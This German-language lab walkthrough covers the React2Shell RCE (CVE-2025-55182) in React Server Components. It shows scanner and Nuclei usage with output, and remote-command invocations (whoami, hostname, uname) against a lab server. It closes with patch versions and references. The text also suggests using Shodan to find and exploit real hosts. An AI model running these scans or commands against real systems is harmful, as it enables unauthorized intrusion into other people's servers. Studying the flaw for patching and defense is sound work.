Exploit-Simulation von React2Shell (CVE-2025-55182)

Hinweis:

• Dieses Dokument dient ausschließlich Lern- und Sicherheitsforschungszwecken.
• Nicht für Angriffe auf Systeme ohne entsprechende Genehmigung verwenden.

1. Übersicht

CVE-2025-55182, auch als React2Shell bekannt, ist eine kritische Schwachstelle zur Remote-Codeausführung (RCE), die React Server Components (RSC) betrifft. Sie nutzt das Flight-Protokoll für die Kommunikation zwischen Client und Server. Wenn der Client Daten anfordert, empfängt der Server ein Payload und analysiert es. Dadurch kann ein Angreifer schädliche Strukturen oder beliebigen Code einschleusen, den React als gültig akzeptiert.

2. Ursache

Der Server verarbeitet Payloads vom Client ohne vollständige Validierung, was einem Angreifer Folgendes ermöglicht:

• Schädliche Payloads einschleusen
• Code auf dem Server ausführen
• Ausnutzung ohne Benutzerauthentifizierung, da es sich um eine Schwachstelle vor der Authentifizierung handelt.

Exploit-Aktivitäten im Zusammenhang mit dieser Schwachstelle wurden seit dem 5. Dezember 2025 festgestellt. Die meisten erfolgreichen Exploits stammen aus Evaluierungen durch Angriffsgruppen. Sowohl Windows- als auch Linux-Umgebungen sind betroffen.

3. Praktischer Test

Installation

pip install -r requirements.txt

Einen verwundbaren Server scannen:

python3 scanner.py -u https://example.com

Gib den zu scannenden Pfad ein (hier habe ich meinen verwundbaren Server eingegeben: http://192.168.10.1:3000)

Erhaltenes Ergebnis:

╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Zusätzlich kann je nach deinem Exploit-Zweck weiter gescannt werden:

Liste von Servern scannen:

python3 scanner.py -l hosts.txt

Mit mehreren Threads scannen und Ergebnisse speichern:

python3 scanner.py -l hosts.txt -t 20 -o results.json

Mit benutzerdefinierten Headern scannen:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Windows-Ziele scannen:

python3 scanner.py -u https://example.com --windows

Sichere Side-Channel-Erkennung verwenden:

python3 scanner.py -u https://example.com --safe-check

Wie du siehst, haben wir es mit einer Sicherheitslücke zu tun, was bedeutet, dass unser bereitgestellter Server anfällig für Angriffe durch einen Angreifer ist.

Nuclei

Jetzt verwenden wir Nuclei, um zu prüfen, ob der obige Server eine Schwachstelle mit POC aufweist. Diese Funktion sendet benutzerdefinierte Anfragen, reduziert Fehlalarme (False Positives) und unterstützt paralleles Scannen.

nuclei -t scan.yaml -u http://192.168.10.1:3000

Erzieltes Ergebnis:

[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

Das System hat erkannt, dass dieser Server verwundbar ist und durch die Schwachstelle CVE-2025-55182 ausgenutzt werden kann. Und dabei kannst du sehen, dass es eine ziemlich gefährliche und wichtige Schwachstelle ist, für die es bereits sehr viele POCs auf Social-Media-Plattformen gibt. ☺☺☺

4. Ausnutzung

Wie du siehst, reichen allein diese Informationen aus, um zu bestätigen, dass die Sicherheitslücke in der obigen Anwendung besteht. Um zu beweisen, dass diese Anwendung ausgenutzt werden kann, um einen Befehl auszuführen oder Code remote auszuführen, starte ich einen PoC.

chmod +x scanner.sh

Verwendung

# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com

# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"

# With full URL
./datscan.sh -d example.com -c "uname -a"

Bedeutung:

Gibt den aktuellen Benutzer zurück, der den Serverprozess ausführt

Hilft zu bestimmen:

• Unter welchem Benutzer die Anwendung läuft
• Berechtigungsstufe (niedrige Berechtigungen oder Admin)

=> Dies ist der grundlegendste Befehl, um erfolgreiches RCE zu bestätigen

Hinweis

• -d, --domain - Domain/URL
• -c, --command - Auszuführender Befehl (z. B. whoami, hostname,...)

Beispiele

# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

BEISPIELBILD NACH DER AUSFÜHRUNG

Dies ist der erste Schritt der Reconnaissance nach erfolgreicher Ausnutzung.

Hilft uns zu bestätigen: RCE funktioniert, Betriebssystem wird identifiziert,...

ACHTUNG

Da ich diese Übung in meiner persönlichen Laborumgebung demonstriere, um rechtliche Konsequenzen zu vermeiden, können die Verwendung von HTTP-Headern zum Stehlen von Daten, große Ausgaben oder Sonderzeichen Folgendes verursachen:

• ERR_INVALID_CHAR
• Verkürzte Antworten
• Timeouts

Kurze Befehle (z. B. whoami, ver) sind zuverlässiger, um sie in der obigen Testumgebung zu demonstrieren.

Falls dir das nicht zusagt, kannst du Shodan verwenden, um IP-Adressen direkt in realen Umgebungen zu prüfen und wie in meiner obigen Übung auszunutzen (nicht empfohlen).

Wie bereits oben erwähnt, ist dieses Tool ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Verwende dieses Tool nicht zum Testen von Systemen, die du nicht besitzt oder für die du keine Testberechtigung hast.

5. Möglichkeiten zur Behebung der Schwachstelle

• Client-Daten nicht vertrauen
• Eingaben streng validieren
• Versionen aktualisieren
  • React: >= 19.0.1 / 19.1.2 / 19.2.1
  • Next.js: >= 15.0.5 / 16.0.7

6. Weiterführende Referenzen

• CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/